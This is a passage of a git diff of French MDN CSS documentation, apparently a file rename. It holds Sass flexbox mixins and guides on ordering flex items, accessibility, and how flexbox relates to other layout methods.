-  flex: $fg $fs $fb;
-}
-
- -

justify-content

- -

La propriété {{cssxref("justify-content")}} permet d'aligner les éléments flexibles le long de l'axe principal pour la ligne en cours dans le conteneur flexible. Cet alignement s'effectue après que les longueurs flexibles et les marges automatiques aient été résolues. Généralement, cela permet de distribuer l'espace restant entre les éléments d'une ligne qui ne sont pas flexibles ou qui ont atteint leur taille maximale. Cela contrôle également le comportement des éléments lorsqu'ils dépassent de la ligne.

- -
-

Note : Les valeurs de la forme space-* ne sont pas prises en charge avec les anciennes syntaxes.

-
- -
    -
  • Valeurs : flex-start (la valeur par défaut)| flex-end | center | space-between | space-around
    • -
  • Spécification
    • -
- -
-
@mixin justify-content($value: flex-start) {
-  @if $value == flex-start {
-    -webkit-box-pack: start;
-    -moz-box-pack: start;
-    -ms-flex-pack: start;
-  } @else if $value == flex-end {
-    -webkit-box-pack: end;
-    -moz-box-pack: end;
-    -ms-flex-pack: end;
-  } @else if $value == space-between {
-    -webkit-box-pack: justify;
-    -moz-box-pack: justify;
-    -ms-flex-pack: justify;
-  } @else if $value == space-around {
-    -ms-flex-pack: distribute;
-  } @else {
-    -webkit-box-pack: $value;
-    -moz-box-pack: $value;
-    -ms-flex-pack: $value;
-  }
-  -webkit-justify-content: $value;
-  justify-content: $value;
-}
-  // Version plus courte :
-  @mixin flex-just($args...) { @include justify-content($args...); }
-
- -

align-items

- -

Les objets flexibles peuvent être alignés le long de l'axe secondaire (comme pour justify-content mais dans l'axe perpendiculaire). {{cssxref("align-items")}} définit l'alignement par défaut de tous les objets du conteneur flexible. align-self permet aux objets flexibles de surcharger cette valeur (pour les objets anonymes, align-self correspondra toujours à align-items).

- -
    -
  • Valeurs : flex-start | flex-end | center | baseline | stretch (la valeur par défaut)
    • -
  • Spécification
    • -
- -
-
@mixin align-items($value: stretch) {
-  @if $value == flex-start {
-    -webkit-box-align: start;
-    -moz-box-align: start;
-    -ms-flex-align: start;
-  } @else if $value == flex-end {
-    -webkit-box-align: end;
-    -moz-box-align: end;
-    -ms-flex-align: end;
-  } @else {
-    -webkit-box-align: $value;
-    -moz-box-align: $value;
-    -ms-flex-align: $value;
-  }
-  -webkit-align-items: $value;
-  align-items: $value;
-}
-
- -

align-self

- -
    -
  • Valeurs : auto (la valeur par défaut)| flex-start | flex-end | center | baseline | stretch
    • -
  • Spécification
    • -
- -
-
@mixin align-self($value: auto) {
-  // No Webkit Box Fallback.
-  -webkit-align-self: $value;
-  @if $value == flex-start {
-    -ms-flex-item-align: start;
-  } @else if $value == flex-end {
-    -ms-flex-item-align: end;
-  } @else {
-    -ms-flex-item-align: $value;
-  }
-  align-self: $value;
-}
-
- -

align-content

- -

La propriété {{cssxref("align-content")}} permet d'aligner les lignes créées dans le conteneur flexible lorsqu'il reste de l'espace le long de l'axe secondaire. Cette propriété n'a aucun effet lorsqu'il n'y a qu'une seule ligne.

- -
    -
  • Valeurs : flex-start | flex-end | center | space-between | space-around | stretch (la valeur par défaut)
    • -
  • Spécification
    • -
- -
-
@mixin align-content($value: stretch) {
-  // No Webkit Box Fallback.
-  -webkit-align-content: $value;
-  @if $value == flex-start {
-    -ms-flex-line-pack: start;
-  } @else if $value == flex-end {
-    -ms-flex-line-pack: end;
-  } @else {
-    -ms-flex-line-pack: $value;
-  }
-  align-content: $value;
-}
-
diff --git a/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.html b/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.html new file mode 100644 index 0000000000..acd32e0de0 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/ordering_flex_items/index.html @@ -0,0 +1,139 @@ +--- +title: Ordonner les éléments flexibles +slug: Web/CSS/CSS_Flexible_Box_Layout/Ordonner_éléments_flexibles +tags: + - Accessibilité + - Boîtes flexibles + - CSS + - Guide + - Intermediate + - a11y + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items +--- +

{{CSSRef}}

+ +

Les nouvelles méthodes de disposition telles que les boîtes flexibles (flexbox) et la grille CSS (CSS Grid) apportent la possibilité de contrôler l'ordre du contenu. Dans cet article, nous verrons comment changer l'ordre visuel du contenu grâce aux boîtes flexibles. Nous examinerons également les conséquences de cette réorganisation du point de vue de l'accessibilité.

+ +

Inverser l'affichage des éléments

+ +

La propriété {{cssxref("flex-direction")}} peut être utilisée avec quatre valeurs :

+ +
    +
  • row
    • +
  • column
    • +
  • row-reverse
    • +
  • column-reverse
    • +
+ +

Les deux premières valeurs permettent de conserver l'ordre des éléments tels qu'ils apparaissent dans le document source et de les afficher les uns à la suite des autres à partir de la ligne du début.

+ +

Les objets sont affichés sur une ligne horizontale qui commence à gauche.

+ +

Les objets sont affichés sur une colonne qui commence en haut.

+ +

Les deux valeurs suivantes inversent l'ordre des éléments en échangeant les lignes de début et de fin.

+ +

Les éléments sont affichés dans l'ordre inverse et commencent à droite.

+ +

Les éléments sont affichés en colonne et dans l'ordre inverse, ils commencent par le bas.

+ +

Rappelons ici que les lignes de début et de fin sont liées aux modes d'écritures. Les exemples en lignes ci-avant illustrent comment row et row-reverse fonctionnent dans une langue qui s'écrit de gauche à droite (le français par exemple). Si on travaille avec une langue écrite de droite à gauche (l'arabe par exemple), row correspondrait au côté droit et  row-reverse au côté gauche.

+ +

Des conteneurs flexibles avec des lettres arabes illustrant comment le contenu commence à droite normalement et commence à gauche lorsqu'on utilise row-reverse.

+ +

Cette méthode peut donc sembler efficace pour afficher des éléments dans un ordre inversé. Toutefois, il faut garder à l'esprit que seul l'affichage est inversé. Sur ce sujet, la spécification explique :

+ +
+

“Note : les possibilités de réorganisation de la disposition flexible modifient uniquement et intentionnellement le rendu visuel. L'ordre de lecture et l'ordre de navigation restent basés sur l'ordre des éléments dans le document source. Cela permet aux auteurs de manipuler la présentation visuelle toute en conservant intact l'ordre de la source pour les agents utilisateurs qui n'utilisent pas CSS et pour les modèles de navigation linéaires comme la navigation vocale ou séquentielle.” - Ordre et Orientation

+
+ +

Si les éléments présentés étaient des liens ou d'autres éléments sur lequel un utilisateur pourrait naviguer grâce aux tabulations, l'ordre de la navigation au clavier serait celui des éléments dans le document source et ne correspondrait alors pas à l'ordre visuel.

+ +

Si vous utilisez une valeur qui inverse cet affichage ou une méthode qui réordonne vos éléments, demandez-vous s'il ne faut pas modifier l'ordre logique des éléments dans le document source. Par la suite, la spécification émet un avertissement : ces valeurs de réorganisation ne doivent pas être utilisées comme palliatifs à un problème dans l'ordre du document source :

+ +
+

“Les auteurs ne doivent pas utiliser order ou les valeurs -reverse de flex-flow/flex-direction comme remplacement d'un ordre correct dans le document source car cela peut nuire à l'accessibilité du document.”

+
+ +
+

Note : Pendant plusieurs années, Firefox possédait un bug avec lequel il essayait de suivre l'ordre visuel plutôt que l'ordre de la source, à la différence des autres navigateurs. Ce bug a été corrigé. Il faut toujours considérer l'ordre des éléments dans le document source comme étant l'ordre logique, tous les agents utilisateurs modernes respectent la spécification à cet égard.

+
+ +

Dans l'exemple qui suit, nous avons ajouté une mise en forme sur le focus afin que vous puissiez voir quel lien est actif lorsque vous naviguez au clavier. Si vous modifier la valeur de flex-direction, vous pouvez voir que la navigation au clavier continue de suivre l'ordre dans lequel les éléments sont écrits dans le document source.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}

+ +

De la même façon, changer la valeur de flex-direction ne modifie pas l'ordre avec lequel on navigue parmi les éléments. Cela ne modifie pas non plus l'ordre dans lequel les éléments sont rendus à l'écran. Il s'agit uniquement d'une inversion visuelle.

+ +

La propriété order

+ +

En plus de cette inversion, il est également possible de cibler des éléments en particulier et de modifier leur ordre visuel grâce à la propriété {{cssxref("order")}}.

+ +

La propriété order permet de disposer les éléments au sein de groupes ordinaux. Cela signifie que chaque élément reçoit un entier qui représente le numéro d'un groupe. Les éléments sont ensuite placés visuellement dans l'ordre qui correspond à cet entier, les éléments avec les numéros les plus petits étant placés en premiers. Si plusieurs éléments possèdent le même coefficient, les éléments de ce groupe sont alors ordonnés en suivant l'ordre du document source entre eux.

+ +

Dans l'exemple qui suit, on dispose de 5 objets flexibles et on affecte les valeurs order comme suit :

+ +
    +
  • Premier élément selon la source : order: 2
    • +
  • Deuxième élément selon la source : order: 3
    • +
  • Troisième élément selon la source : order: 1
    • +
  • Quatrième élément selon la source :order: 3
    • +
  • Cinquième élément selon la source :order: 1
    • +
+ +

Les éléments seront affichés sur la page dans l'ordre suivant :

+ +
    +
  • Troisième élément selon la source : order: 1
    • +
  • Cinquième élément selon la source : order: 1
    • +
  • Premier élément selon la source : order: 2
    • +
  • Deuxième élément selon la source : order: 3
    • +
  • Quatrième élément selon la source : order: 3
    • +
+ +

Les éléments contiennent un nombre qui illustre leur ordre selon la source et on peut voir que leur ordre visuel a été réarrangé.

+ +

Vous pouvez manipuler les valeurs dans l'exemple qui suit afin de voir comment l'ordre est modifié. Essayez également de modifier la valeur de flex-direction pour utiliser row-reverse — la ligne de début est inversée et l'ordre des éléments commence à partir du côté opposé.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}

+ +

Par défaut, la valeur de la propriété order est 0 pour les éléments flexibles. Aussi, si on utilise un coefficient supérieur à 0, les éléments concernés seront affichés après les éléments pour lesquels aucune valeur explicite n'a été fournie pour order.

+ +

On peut également utiliser des valeurs négatives. Cela est plutôt pratique si on souhaite afficher un élément en premier sans avoir à indiquer de valeurs pour les autres éléments : il suffira d'affecter l'ordre -1 au premier élément. Cette valeur étant inférieure à 0, l'élément sera toujours affiché en premier.

+ +

Dans l'exemple qui suit, les éléments sont disposés avec les boîtes flexibles. En modifiant l'élément qui possède la classe active dans le code HTML, vous pouvez modifier l'élément qui apparaît en premier et qui prend alors toute la largeur en haut, les autres éléments étant affichés en dessous.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}

+ +

Les éléments sont affichés dans ce que la spécification intitule un ordre modifié à partir de l'ordre du document (en anglais "order-modified document order"). La valeur de la propriété order est prise en compte avant que les éléments soient affichés.

+ +

L'ordre modifie également l'ordre de rendu des éléments à l'écran. Les éléments pour lesquels order est plus petit seront affichés en premier et ceux avec un coefficient d'ordre plus élevé seront affichés ensuite.

+ +

La propriété order et l'accessibilité

+ +

La propriété order aura exactement les mêmes conséquences qu'une modification de flex-direction sur l'accessibilité. Utiliser order modifie l'ordre dans lequel les éléments sont affichés à l'écran et l'ordre dans lequel ils sont présentés visuellement. Cela ne modifie pas l'ordre de navigation. Aussi, si un utilisateur navigue grâce aux tabulations entre les éléments, cette disposition peut prêter à confusion.

+ +

En utilisant la tabulation pour naviguer au sein des exemples de cette page, vous pouvez voir comment l'ordre peut créer une expérience pour le moins étrange de navigation si on n'utilise pas de pointeur (souris, stylet, interface tactile). Pour approfondir cette notion et les problèmes qu'un déphasage entre l'ordre visuel et logique peut causer, vous pouvez consulter les ressources suivantes :

+ + + +

Cas d'utilisation pour order

+ +

Il existe certains cas où l'ordre logique (correspondant à l'ordre de lecture) est distinct de l'ordre visuel. Dans ces cas, utiliser la propriété order à bon escient permet d'implémenter certains motifs récurrents.

+ +

Prenons comme exemple une disposition avec des cartes dont chacune contient une nouvelle. Le titre de la nouvelle est l'élément qui doit être mis en avant et celui sur lequel l'utilisateur doit arriver s'il navigue au clavier à la recherche d'un contenu à lire. Chaque carte possède également une date de façon à obtenir un design comme celui-ci.

+ +

Un composant avec une date, un titre puis un contenu.

+ +

Visuellement, la date apparaît au-dessus du titre. Toutefois, si la carte était lue par un lecteur d'écran, on préfèrerait que le titre soit annoncé en premier puis que soit ensuite lue la date de publication. Pour ce faire, on peut utiliser la propriété order.

+ +

Dans cet exemple, la carte sera le conteneur flexible et flex-direction aura la valeur column. Pour la date, on affectera un ordre avec la propriété order qui vaut -1 qui permettra de la placer au-dessus du titre.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}

+ +

Ces légères adaptations sont caractéristiques des cas où la propriété order se révèle pertinente. L'ordre logique doit suivre l'ordre de lecture et de navigation au clavier dans le document. Il doit maintenir la structure de la façon la plus accessible. order peut alors être ensuite utilisé pour opérer des ajustements visuels. Lorsque vous réordonnez des éléments, assurez-vous que cela n'a pas d'impact sur les éléments parmi lesquels on peut naviguer au clavier. De façon générale, lorsque vous utilisez de nouvelles méthodes de disposition, assurez-vous que la phase de test via le navigateur inclut également des tests de navigation au clavier (sans souris ni écran tactile). Vous pourrez alors rapidement constater si vos choix de développement rendent certains contenus difficiles d'accès.

diff --git "a/files/fr/web/css/css_flexible_box_layout/ordonner_\303\251l\303\251ments_flexibles/index.html" "b/files/fr/web/css/css_flexible_box_layout/ordonner_\303\251l\303\251ments_flexibles/index.html" deleted file mode 100644 index acd32e0de0..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/ordonner_\303\251l\303\251ments_flexibles/index.html" +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Ordonner les éléments flexibles -slug: Web/CSS/CSS_Flexible_Box_Layout/Ordonner_éléments_flexibles -tags: - - Accessibilité - - Boîtes flexibles - - CSS - - Guide - - Intermediate - - a11y - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items ---- -

{{CSSRef}}

- -

Les nouvelles méthodes de disposition telles que les boîtes flexibles (flexbox) et la grille CSS (CSS Grid) apportent la possibilité de contrôler l'ordre du contenu. Dans cet article, nous verrons comment changer l'ordre visuel du contenu grâce aux boîtes flexibles. Nous examinerons également les conséquences de cette réorganisation du point de vue de l'accessibilité.

- -

Inverser l'affichage des éléments

- -

La propriété {{cssxref("flex-direction")}} peut être utilisée avec quatre valeurs :

- -
    -
  • row
    • -
  • column
    • -
  • row-reverse
    • -
  • column-reverse
    • -
- -

Les deux premières valeurs permettent de conserver l'ordre des éléments tels qu'ils apparaissent dans le document source et de les afficher les uns à la suite des autres à partir de la ligne du début.

- -

Les objets sont affichés sur une ligne horizontale qui commence à gauche.

- -

Les objets sont affichés sur une colonne qui commence en haut.

- -

Les deux valeurs suivantes inversent l'ordre des éléments en échangeant les lignes de début et de fin.

- -

Les éléments sont affichés dans l'ordre inverse et commencent à droite.

- -

Les éléments sont affichés en colonne et dans l'ordre inverse, ils commencent par le bas.

- -

Rappelons ici que les lignes de début et de fin sont liées aux modes d'écritures. Les exemples en lignes ci-avant illustrent comment row et row-reverse fonctionnent dans une langue qui s'écrit de gauche à droite (le français par exemple). Si on travaille avec une langue écrite de droite à gauche (l'arabe par exemple), row correspondrait au côté droit et  row-reverse au côté gauche.

- -

Des conteneurs flexibles avec des lettres arabes illustrant comment le contenu commence à droite normalement et commence à gauche lorsqu'on utilise row-reverse.

- -

Cette méthode peut donc sembler efficace pour afficher des éléments dans un ordre inversé. Toutefois, il faut garder à l'esprit que seul l'affichage est inversé. Sur ce sujet, la spécification explique :

- -
-

“Note : les possibilités de réorganisation de la disposition flexible modifient uniquement et intentionnellement le rendu visuel. L'ordre de lecture et l'ordre de navigation restent basés sur l'ordre des éléments dans le document source. Cela permet aux auteurs de manipuler la présentation visuelle toute en conservant intact l'ordre de la source pour les agents utilisateurs qui n'utilisent pas CSS et pour les modèles de navigation linéaires comme la navigation vocale ou séquentielle.” - Ordre et Orientation

-
- -

Si les éléments présentés étaient des liens ou d'autres éléments sur lequel un utilisateur pourrait naviguer grâce aux tabulations, l'ordre de la navigation au clavier serait celui des éléments dans le document source et ne correspondrait alors pas à l'ordre visuel.

- -

Si vous utilisez une valeur qui inverse cet affichage ou une méthode qui réordonne vos éléments, demandez-vous s'il ne faut pas modifier l'ordre logique des éléments dans le document source. Par la suite, la spécification émet un avertissement : ces valeurs de réorganisation ne doivent pas être utilisées comme palliatifs à un problème dans l'ordre du document source :

- -
-

“Les auteurs ne doivent pas utiliser order ou les valeurs -reverse de flex-flow/flex-direction comme remplacement d'un ordre correct dans le document source car cela peut nuire à l'accessibilité du document.”

-
- -
-

Note : Pendant plusieurs années, Firefox possédait un bug avec lequel il essayait de suivre l'ordre visuel plutôt que l'ordre de la source, à la différence des autres navigateurs. Ce bug a été corrigé. Il faut toujours considérer l'ordre des éléments dans le document source comme étant l'ordre logique, tous les agents utilisateurs modernes respectent la spécification à cet égard.

-
- -

Dans l'exemple qui suit, nous avons ajouté une mise en forme sur le focus afin que vous puissiez voir quel lien est actif lorsque vous naviguez au clavier. Si vous modifier la valeur de flex-direction, vous pouvez voir que la navigation au clavier continue de suivre l'ordre dans lequel les éléments sont écrits dans le document source.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}

- -

De la même façon, changer la valeur de flex-direction ne modifie pas l'ordre avec lequel on navigue parmi les éléments. Cela ne modifie pas non plus l'ordre dans lequel les éléments sont rendus à l'écran. Il s'agit uniquement d'une inversion visuelle.

- -

La propriété order

- -

En plus de cette inversion, il est également possible de cibler des éléments en particulier et de modifier leur ordre visuel grâce à la propriété {{cssxref("order")}}.

- -

La propriété order permet de disposer les éléments au sein de groupes ordinaux. Cela signifie que chaque élément reçoit un entier qui représente le numéro d'un groupe. Les éléments sont ensuite placés visuellement dans l'ordre qui correspond à cet entier, les éléments avec les numéros les plus petits étant placés en premiers. Si plusieurs éléments possèdent le même coefficient, les éléments de ce groupe sont alors ordonnés en suivant l'ordre du document source entre eux.

- -

Dans l'exemple qui suit, on dispose de 5 objets flexibles et on affecte les valeurs order comme suit :

- -
    -
  • Premier élément selon la source : order: 2
    • -
  • Deuxième élément selon la source : order: 3
    • -
  • Troisième élément selon la source : order: 1
    • -
  • Quatrième élément selon la source :order: 3
    • -
  • Cinquième élément selon la source :order: 1
    • -
- -

Les éléments seront affichés sur la page dans l'ordre suivant :

- -
    -
  • Troisième élément selon la source : order: 1
    • -
  • Cinquième élément selon la source : order: 1
    • -
  • Premier élément selon la source : order: 2
    • -
  • Deuxième élément selon la source : order: 3
    • -
  • Quatrième élément selon la source : order: 3
    • -
- -

Les éléments contiennent un nombre qui illustre leur ordre selon la source et on peut voir que leur ordre visuel a été réarrangé.

- -

Vous pouvez manipuler les valeurs dans l'exemple qui suit afin de voir comment l'ordre est modifié. Essayez également de modifier la valeur de flex-direction pour utiliser row-reverse — la ligne de début est inversée et l'ordre des éléments commence à partir du côté opposé.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}

- -

Par défaut, la valeur de la propriété order est 0 pour les éléments flexibles. Aussi, si on utilise un coefficient supérieur à 0, les éléments concernés seront affichés après les éléments pour lesquels aucune valeur explicite n'a été fournie pour order.

- -

On peut également utiliser des valeurs négatives. Cela est plutôt pratique si on souhaite afficher un élément en premier sans avoir à indiquer de valeurs pour les autres éléments : il suffira d'affecter l'ordre -1 au premier élément. Cette valeur étant inférieure à 0, l'élément sera toujours affiché en premier.

- -

Dans l'exemple qui suit, les éléments sont disposés avec les boîtes flexibles. En modifiant l'élément qui possède la classe active dans le code HTML, vous pouvez modifier l'élément qui apparaît en premier et qui prend alors toute la largeur en haut, les autres éléments étant affichés en dessous.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}

- -

Les éléments sont affichés dans ce que la spécification intitule un ordre modifié à partir de l'ordre du document (en anglais "order-modified document order"). La valeur de la propriété order est prise en compte avant que les éléments soient affichés.

- -

L'ordre modifie également l'ordre de rendu des éléments à l'écran. Les éléments pour lesquels order est plus petit seront affichés en premier et ceux avec un coefficient d'ordre plus élevé seront affichés ensuite.

- -

La propriété order et l'accessibilité

- -

La propriété order aura exactement les mêmes conséquences qu'une modification de flex-direction sur l'accessibilité. Utiliser order modifie l'ordre dans lequel les éléments sont affichés à l'écran et l'ordre dans lequel ils sont présentés visuellement. Cela ne modifie pas l'ordre de navigation. Aussi, si un utilisateur navigue grâce aux tabulations entre les éléments, cette disposition peut prêter à confusion.

- -

En utilisant la tabulation pour naviguer au sein des exemples de cette page, vous pouvez voir comment l'ordre peut créer une expérience pour le moins étrange de navigation si on n'utilise pas de pointeur (souris, stylet, interface tactile). Pour approfondir cette notion et les problèmes qu'un déphasage entre l'ordre visuel et logique peut causer, vous pouvez consulter les ressources suivantes :

- - - -

Cas d'utilisation pour order

- -

Il existe certains cas où l'ordre logique (correspondant à l'ordre de lecture) est distinct de l'ordre visuel. Dans ces cas, utiliser la propriété order à bon escient permet d'implémenter certains motifs récurrents.

- -

Prenons comme exemple une disposition avec des cartes dont chacune contient une nouvelle. Le titre de la nouvelle est l'élément qui doit être mis en avant et celui sur lequel l'utilisateur doit arriver s'il navigue au clavier à la recherche d'un contenu à lire. Chaque carte possède également une date de façon à obtenir un design comme celui-ci.

- -

Un composant avec une date, un titre puis un contenu.

- -

Visuellement, la date apparaît au-dessus du titre. Toutefois, si la carte était lue par un lecteur d'écran, on préfèrerait que le titre soit annoncé en premier puis que soit ensuite lue la date de publication. Pour ce faire, on peut utiliser la propriété order.

- -

Dans cet exemple, la carte sera le conteneur flexible et flex-direction aura la valeur column. Pour la date, on affectera un ordre avec la propriété order qui vaut -1 qui permettra de la placer au-dessus du titre.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}

- -

Ces légères adaptations sont caractéristiques des cas où la propriété order se révèle pertinente. L'ordre logique doit suivre l'ordre de lecture et de navigation au clavier dans le document. Il doit maintenir la structure de la façon la plus accessible. order peut alors être ensuite utilisé pour opérer des ajustements visuels. Lorsque vous réordonnez des éléments, assurez-vous que cela n'a pas d'impact sur les éléments parmi lesquels on peut naviguer au clavier. De façon générale, lorsque vous utilisez de nouvelles méthodes de disposition, assurez-vous que la phase de test via le navigateur inclut également des tests de navigation au clavier (sans souris ni écran tactile). Vous pourrez alors rapidement constater si vos choix de développement rendent certains contenus difficiles d'accès.

diff --git a/files/fr/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/fr/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html new file mode 100644 index 0000000000..c6e9691ae5 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html @@ -0,0 +1,125 @@ +--- +title: Les liens entre flexbox et les autres méthodes de disposition +slug: Web/CSS/CSS_Flexible_Box_Layout/Liens_entre_flexbox_et_les_autres_dispositions +tags: + - CSS + - Guide + - display + - flexbox + - grid +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods +--- +
{{CSSRef}}
+ +

Dans cet article, nous verrons comment les boîtes flexibles interagissent avec les autres modules CSS. Nous verrons quelles sont les spécifications qui décrivent les boîtes flexibles et pourquoi les boîtes flexibles sont différentes des autres modules.

+ +
+

Note : Dans les versions 1 et 2 de CSS, la spécification était « monolithique » et décrite dans un seul document. Évoluant vers un langage riche possédant de nombreuses fonctionnalité, la maintenance de cette spécification unique est devenue problématiques, certaines parties évoluant à différentes vitesses. La spécification CSS a donc été modularisée et ce sont ces différents modules qui constituent CSS aujourd'hui. Ces modules sont liés les uns aux autres et sont chacun à différents stades de développement.

+
+ +

Le module d'alignement des boîtes (Box Alignment)

+ +

La plupart des personnes s'intéressent aux boîtes flexibles car elles permettent d'aligner efficacement des éléments flexibles au sein d'un conteneur. Les boîtes flexibles permettent d'utiliser des propriétés pour aligner les éléments sur l'axe secondaire et de les justifier sur l'axe principal.

+ +

Ces propriétés sont apparues dans la spécification dédiée aux boîtes flexibles mais font désormais également partie de la spécification sur l'alignement des boîtes (Box Alignment). Cette spécification détaille la façon dont l'alignement fonctionne pour l'ensemble des dispositions (et pas uniquement pour les boîtes flexibles). L'alignement des boîtes permet de gérer l'alignement et la justification, ainsi que la distribution de l'espace le long d'un axe.

+ +

Ces propriétés d'alignement sont actuellement détaillées dans les spécifications de flexbox et d'alignement des boîtes afin d'être sûr que la spécification des boîtes flexibles n'est pas bloquée par l'état de la spécification sur l'alignement des boîtes. Dans la spécification flexbox, une note indique que lorsque la spécification sur l'alignement des boîtes sera terminée, ces définitions remplaceront celles de la spécification sur les boîtes flexibles :

+ +
+

« Note : Bien que les propriétés d'alignement soient définies dans le module CSS Box Alignment CSS-ALIGN-3, le module Flexible Box Layout reproduit les définitions des propriétés qui sont ici pertinentes afin de ne pas créer de dépendance normative qui ralentirait l'avancement de la spécification. Ces propriétés s'appliquent uniquement à la disposition flexible jusqu'à ce que CSS Box Alignment Level 3 soit terminé et définisse leurs effets pour les autres modes de disposition. De plus, toute nouvelle valeur qui apparaîtra dans le module Box Alignment s'appliquera également à la disposition en boîtes flexibles. Autrement dit, le module Box Alignment, lorsqu'il sera complet, remplacera les définitions énoncées ici. »

+
+ +

Dans un prochain article de ce guide (Aligner les éléments d'un conteneur flexibles), nous verrons dans le détail comment les propriétés du module d'alignement des boîtes s'appliquent aux éléments flexibles.

+ +

Les propriétés d'espacement (gap)

+ +

Récemment, les propriétés {{cssxref("row-gap")}} et {{cssxref("column-gap")}}, ainsi que la propriété raccourcie {{cssxref("gap")}} ont été ajoutées au module d'alignement des boîtes. Ces propriétés furent initialement définies dans la spécification de la grille CSS et étaient nommées grid-row-gap, grid-column-gap et grid-gap. Elles ont été renommées et déplacées dans le module d'alignement des boîtes afin de pouvoir être utilisées dans d'autres modes de disposition et, à terme, avec les boîtes flexibles. Avant la prise en charge des propriétés gap, c'était les propriétés {{cssxref("margin")}} qui étaient utilisées afin de créer des espaces entre les éléments.

+ +

Les modes d'écritures (Writing Modes)

+ +

Dans l'article sur les concepts de bases relatifs aux flexbox, nous avons vu que les boîtes flexibles prenaient en compte le mode d'écriture (la direction du texte). Les différents modes d'écritures sont décrits dans la spécification CSS Writing Modes qui détaille comment CSS prend en charge les différents modes d'écritures qui existent dans le monde. Cette spécification permet notamment de comprendre les directions de bloc et en ligne qui sont fondamentales pour les axes principal et secondaires des boîtes flexibles.

+ +

On notera qu'il est possible de modifier le mode d'écriture d'un document pour d'autres raisons que des raisons linguistiques. Vous pouvez consulter cet article pour en savoir plus sur les différentes façons d'utiliser les modes d'écriture, que ce soit en fonction de la langue du contenu ou pour des raisons créatives.

+ +

Les différents modes d'écritures

+ +

La spécification sur les modes d'écriture définit les différentes valeurs qui peuvent être utilisées avec la propriété {{cssxref("writing-mode")}}. Cette propriété permet de modifier la direction de la disposition des blocs sur la page pour correspondre à l'orientation d'un mode d'écriture donné. Vous pouvez manipuler l'exemple qui suit en utilisant les valeurs suivantes pour voir l'impact que cela a sur la disposition flexible :

+ +
    +
  • horizontal-tb
    • +
  • vertical-rl
    • +
  • vertical-lr
    • +
  • sideways-rl
    • +
  • sideways-lr
    • +
+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

+ +

Actuellement, seul Firefox prend en charge sideways-rl et sideways-lr. Il existe également certains problèmes relatifs à writing-mode et aux boîtes flexibles. Pour plus d'informations, vous pouvez consulter les informations de compatibilité pour la propriété writing-mode. Toutefois, si vous souhaitez utiliser les modes d'écritures pour votre site/application, il est fortement conseillé de tester les résultats obtenus, ne serait-ce que parce que cela peut fortement nuire à la lisibilité !

+ +

On notera que la propriété writing-mode CSS ne doit pas être utilisée pour modifier le mode d'écriture d'un document entier. Cela doit être fait avec HTML en ajoutant un attribut dir et lang sur l'élément html afin d'indiquer la direction du texte par défaut et la langue du document. Ainsi, le document serait correctement affiché, même si le CSS n'était pas chargé.

+ +

Les boîtes flexibles et les autres méthodes de disposition

+ +

La spécification sur les boîtes flexibles contient une définition de ce qui se produit lorsqu'un élément utilisant une autre méthode de disposition devient un élément flexible (par exemple : un élément est positionné de façon flottante et son élément parent devient un conteneur flexible). Elle décrit également comment un conteneur flexible s'inscrit dans une disposition.

+ +

Un élément avec display: flex se comportera majoritairement comme un conteneur de bloc qui établit un bloc englobant. Les éléments flottants ne rentreront pas dans ce conteneur et les marges des conteneurs ne fusionneront pas.

+ +

Pour un élément flexible, si celui-ci était avant un élément flottant ou dégagé (cleared) et qu'il devient flexible car son élément parent reçoit display: flex, le flottement et le dégagement ne s'appliquent plus. L'élément ne sera pas retiré du flux normal (ce qui aurait lieu avec un flottement). Si on a utilisé la propriété {{cssxref("vertical-align")}} avec inline-block ou si on a utilisé une disposition tabulaire, cela n'aura plus d'effet et on pourra utiliser les propriétés d'alignement des boîtes flexibles à la place.

+ +

Dans le prochain exemple, on applique un flottement sur les éléments fils puis leur conteneur reçoit display: flex. Si vous retirez display: flex, vous pouvez voir que l'élément .box s'écrase car aucun dégagement n'est appliqué. Cela permet de voir que le flottement s'applique. En remettant display: flex, l'élément ne s'écrase plus car les éléments fils sont devenus des éléments flexibles.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

+ +

Les boîtes flexibles et la disposition en grille

+ +

La disposition en grille (CSS Grid) et les boîtes flexibles agissent de la même façon lorsqu'elles surchargent les autres méthodes de disposition. Les boîtes flexibles pourront être utilisées comme solution de repli si les grilles CSS ne sont pas prises en charge. En effet, les boîtes flexibles bénéficient d'une meilleure prise en charge pour les navigateurs moins récents. Cette approche fonctionne sans problème car, si un élément flexible devient un élément d'une grille, les propriétés flex qui auraient pu être affectées aux éléments enfants seront ignorées.

+ +

Les propriétés du module d'alignement des boîtes peuvent être utilisées pour ces deux modes de dispositions.

+ +

Flexbox / grille : quelle différence ?

+ +

On demande souvent quelle est la différence entre la disposition avec les boîtes flexibles et la disposition avec la grille CSS. Pourquoi avoir deux spécifications quand celles-ci semblent avoir le même effet ?

+ +

